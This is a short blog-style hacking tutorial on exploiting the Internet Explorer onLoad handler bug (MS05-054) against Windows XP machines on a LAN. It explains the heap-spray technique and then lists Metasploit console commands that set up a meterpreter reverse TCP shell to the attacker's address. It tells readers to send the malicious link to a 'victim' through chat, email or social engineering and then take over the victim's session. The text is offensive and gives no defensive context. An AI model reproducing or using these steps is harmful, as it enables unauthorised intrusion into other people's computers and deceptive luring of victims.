Hack Windows XP in LAN with JavaScript OnLoad Handler Remote Code Execution

This bug is triggered when the browser handles a JavaScript ‘onLoad’ handler in conjunction with an improperly initialized ‘window ()’ JavaScript function. This exploit results in a call to an address lower than the heap. The JavaScript prompt () places our shellcode near where the call operand points to. We call prompt () multiple times in separate iframes to place our return address. We hide the prompts in a popup window behind the main window. We spray the heap a second time with our shellcode and point the return address to the heap. I use a fairly high address to make this exploit more reliable. IE will crash when the exploit completes. Also, please note that Internet Explorer must allow popups in order to continue exploitation.

Exploit Targets

Internet Explorer 5, 6

Windows XP SP2

Windows XP SP3

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms05_054_onload

Msf exploit (ms05_054_onload)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms05_054_onload)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (ms05_054_onload)>set srvhost 192.168.1.2 (This must be an address on the local machine)

Msf exploit (ms05_054_onload)>set uripath onload (The Url to use for this exploit)

Msf exploit (ms05_054_onload)>exploit

Now an URL you should give to your victim http://192.168.1.2:8080/onload

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Related Posts Plugin for WordPress, Blogger...

Leave a Reply